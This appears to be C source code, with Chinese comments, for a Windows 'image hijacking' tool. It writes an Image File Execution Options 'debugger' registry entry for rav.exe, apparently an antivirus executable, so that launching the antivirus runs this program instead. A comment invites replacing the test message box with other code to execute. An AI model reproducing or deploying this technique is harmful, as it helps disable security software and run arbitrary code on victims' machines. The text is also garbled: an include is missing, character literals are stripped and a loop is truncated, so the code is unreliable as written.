#include "stdafx.h"
#include
#include <windows.h>
int main(int argc, char* argv[])
{
char temp[256];
DWORD ret;
LPCTSTR szRegKey="SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"; //定义字符串指针,保存映像劫持的键位
HKEY h_KEY;
if(argc!=1) //如果参数不是1个,提取第2个参数,也就是被劫持程序的路径
{
memset(temp,0,256);
strcpy(temp,argv[1]);
for(int i=0;i { if(temp[i]==\) temp[i]=/; } ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄 if(ret==ERROR_SUCCESS) { printf("open ok! "); if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除 { printf("delete ok! "); RegCloseKey(h_KEY); WinExec(temp,SW_SHOW); //运行被劫持的程序 } else { printf("delete failed! "); RegCloseKey(h_KEY); } } else printf("open failed! "); } memset(temp,0,256); GetModuleFileName(NULL,temp,256); //得到程序自己的路径,为下面写入注册表做准备 HKEY hResultKey = NULL; if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY)) //打开注册表中映像劫持的子键,获得句柄 { DWORD dw; ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw); //在上面打开的子键下创建rav子键并打开,获得句柄 if (ret!=ERROR_SUCCESS) { RegCloseKey(h_KEY); printf("creat failed! "); return 1; } printf("creat ok! "); ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1); //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持 if(ret!=ERROR_SUCCESS) { RegCloseKey(h_KEY); RegCloseKey(hResultKey); return 1; } RegCloseKey(h_KEY); RegCloseKey(hResultKey); printf("set ok! "); } MessageBox(NULL,"ok!","成功!",MB_OK); //用于测试程序,可换为其他需要执行代码 return 0; }